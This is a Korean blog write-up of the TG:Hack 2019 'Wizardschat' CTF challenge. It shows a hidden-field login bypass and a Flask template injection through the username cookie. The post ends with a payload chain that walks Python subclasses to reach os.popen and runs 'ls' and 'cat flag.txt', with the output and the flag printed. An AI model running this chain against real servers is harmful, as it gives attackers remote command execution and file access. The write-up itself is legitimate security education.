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TG:Hack 2019 - Wizardschat 풀이 본문

CTF Writups

TG:Hack 2019 - Wizardschat 풀이

POSIX 2019. 4. 20. 22:35

 

TG:Hack 2019 CTF web 5번

Flask SSTI 문제입니다.

 

 

접속하면 로그인 폼이 보이는데, 대강 입력해보면

NO MAGIC DETECTED 에러 메시지가 출력됩니다.

hidden 항목으로 지정된 has_magic 값을

1로 바꾸어주면 정상적으로 로그인 되는 것을 확인할 수 있습니다.

 

 

로그인을 하면 채팅창이 등장하는데 입력하는대로 저장되며

다른 사용자들과 담소를 나눌 수 있습니다.. ㅎㅎ

 

 

여러가지 입력을 넣어 보다가

배열을 입력으로 주니 KeyError 가 발생했는데

이를 보고 Flask 를 떠올렸습니다.

 

response 에는 일단 nginx 라고 표시되었지만

wsgi 인가 하는 녀석을 이용하면

복합적으로 운용할 수 있으니까요.

 

 

Flask SSTI 를 생각하고

채팅 시스템에 여러가지를 대입해 보았지만

아무것도 얻을 수 없었습니다.

 

 

그러던 중 cookie의 username값에

템플릿 인젝션이 되는 것을 확인할 수 있었습니다.

이러면 채팅 시스템은 굳이 만들 필요가 있었는가

하는 생각도 들지만, 삽질하는 것도 나름 재미있었습니다.

 

페이로드와 결과값을 끝으로 포스팅을 마칩니다.

 

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'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'BufferError': <class 'BufferError'>, 'MemoryError': <class 'MemoryError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2018 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'builtins': <module 'builtins' (built-in)>, 'sys': <module 'sys' (built-in)>, 'register': <built-in function register>, 'lookup': <built-in function lookup>, 'encode': <built-in function encode>, 'decode': <built-in function decode>, 'escape_encode': <built-in function escape_encode>, 'escape_decode': <built-in function escape_decode>, 'utf_8_encode': <built-in function utf_8_encode>, 'utf_8_decode': <built-in function utf_8_decode>, 'utf_7_encode': <built-in function utf_7_encode>, 'utf_7_decode': <built-in function utf_7_decode>, 'utf_16_encode': <built-in function utf_16_encode>, 'utf_16_le_encode': <built-in function utf_16_le_encode>, 'utf_16_be_encode': <built-in function utf_16_be_encode>, 'utf_16_decode': <built-in function utf_16_decode>, 'utf_16_le_decode': <built-in function utf_16_le_decode>, 'utf_16_be_decode': <built-in function utf_16_be_decode>, 'utf_16_ex_decode': <built-in function utf_16_ex_decode>, 'utf_32_encode': <built-in function utf_32_encode>, 'utf_32_le_encode': <built-in function utf_32_le_encode>, 'utf_32_be_encode': <built-in function utf_32_be_encode>, 'utf_32_decode': <built-in function utf_32_decode>, 'utf_32_le_decode': <built-in function utf_32_le_decode>, 'utf_32_be_decode': <built-in function utf_32_be_decode>, 'utf_32_ex_decode': <built-in function utf_32_ex_decode>, 'unicode_escape_encode': <built-in function unicode_escape_encode>, 'unicode_escape_decode': <built-in function unicode_escape_decode>, 'unicode_internal_encode': <built-in function unicode_internal_encode>, 'unicode_internal_decode': <built-in function unicode_internal_decode>, 'raw_unicode_escape_encode': <built-in function raw_unicode_escape_encode>, 'raw_unicode_escape_decode': <built-in function raw_unicode_escape_decode>, 'latin_1_encode': <built-in function latin_1_encode>, 'latin_1_decode': <built-in function latin_1_decode>, 'ascii_encode': <built-in function ascii_encode>, 'ascii_decode': <built-in function ascii_decode>, 'charmap_encode': <built-in function charmap_encode>, 'charmap_decode': <built-in function charmap_decode>, 'charmap_build': <built-in function charmap_build>, 'readbuffer_encode': <built-in function readbuffer_encode>, 'register_error': <built-in function register_error>, 'lookup_error': <built-in function lookup_error>, '__all__': ['register', 'lookup', 'open', 'EncodedFile', 'BOM', 'BOM_BE', 'BOM_LE', 'BOM32_BE', 'BOM32_LE', 'BOM64_BE', 'BOM64_LE', 'BOM_UTF8', 'BOM_UTF16', 'BOM_UTF16_LE', 'BOM_UTF16_BE', 'BOM_UTF32', 'BOM_UTF32_LE', 'BOM_UTF32_BE', 'CodecInfo', 'Codec', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReader', 'StreamWriter', 'StreamReaderWriter', 'StreamRecoder', 'getencoder', 'getdecoder', 'getincrementalencoder', 'getincrementaldecoder', 'getreader', 'getwriter', 'encode', 'decode', 'iterencode', 'iterdecode', 'strict_errors', 'ignore_errors', 'replace_errors', 'xmlcharrefreplace_errors', 'backslashreplace_errors', 'namereplace_errors', 'register_error', 'lookup_error'], 'BOM_UTF8': b'\xef\xbb\xbf', 'BOM_LE': b'\xff\xfe', 'BOM_UTF16_LE': b'\xff\xfe', 'BOM_BE': b'\xfe\xff', 'BOM_UTF16_BE': b'\xfe\xff', 'BOM_UTF32_LE': b'\xff\xfe\x00\x00', 'BOM_UTF32_BE': b'\x00\x00\xfe\xff', 'BOM': b'\xff\xfe', 'BOM_UTF16': b'\xff\xfe', 'BOM_UTF32': b'\xff\xfe\x00\x00', 'BOM32_LE': b'\xff\xfe', 'BOM32_BE': b'\xfe\xff', 'BOM64_LE': b'\xff\xfe\x00\x00', 'BOM64_BE': b'\x00\x00\xfe\xff', 'CodecInfo': <class 'codecs.CodecInfo'>, 'Codec': <class 'codecs.Codec'>, 'IncrementalEncoder': <class 'codecs.IncrementalEncoder'>, 'BufferedIncrementalEncoder': <class 'codecs.BufferedIncrementalEncoder'>, 'IncrementalDecoder': <class 'codecs.IncrementalDecoder'>, 'BufferedIncrementalDecoder': <class 'codecs.BufferedIncrementalDecoder'>, 'StreamWriter': <class 'codecs.StreamWriter'>, 'StreamReader': <class 'codecs.StreamReader'>, 'StreamReaderWriter': <class 'codecs.StreamReaderWriter'>, 'StreamRecoder': <class 'codecs.StreamRecoder'>, 'open': <function open at 0x7f55e71d7048>, 'EncodedFile': <function EncodedFile at 0x7f55e71de7b8>, 'getencoder': <function getencoder at 0x7f55e71de840>, 'getdecoder': <function getdecoder at 0x7f55e71de8c8>, 'getincrementalencoder': <function getincrementalencoder at 0x7f55e71de950>, 'getincrementaldecoder': <function getincrementaldecoder at 0x7f55e71de9d8>, 'getreader': <function getreader at 0x7f55e71dea60>, 'getwriter': <function getwriter at 0x7f55e71deae8>, 'iterencode': <function iterencode at 0x7f55e71deb70>, 'iterdecode': <function iterdecode at 0x7f55e71debf8>, 'make_identity_dict': <function make_identity_dict at 0x7f55e71dec80>, 'make_encoding_map': <function make_encoding_map at 0x7f55e71ded08>, 'strict_errors': <built-in function strict_errors>, 'ignore_errors': <built-in function ignore_errors>, 'replace_errors': <built-in function replace_errors>, 'xmlcharrefreplace_errors': <built-in function xmlcharrefreplace_errors>, 'backslashreplace_errors': <built-in function backslashreplace_errors>, 'namereplace_errors': <built-in function namereplace_errors>, '_false': 0}


[].__class__.__base__.__subclasses__()[93].__init__.__globals__["sys"]
<module 'sys' (built-in)>


[].__class__.__base__.__subclasses__()[93].__init__.__globals__["sys"].modules["os"]
<module 'os' from '/usr/local/lib/python3.6/os.py'>


[].__class__.__base__.__subclasses__()[93].__init__.__globals__["sys"].modules["os"].popen('ls').read()
flag.txt index.php main.py requirements.txt upload.php


[].__class__.__base__.__subclasses__()[93].__init__.__globals__["sys"].modules["os"].popen('cat flag.txt').read()
TG19{templates_make_a_better_chat}

 

 

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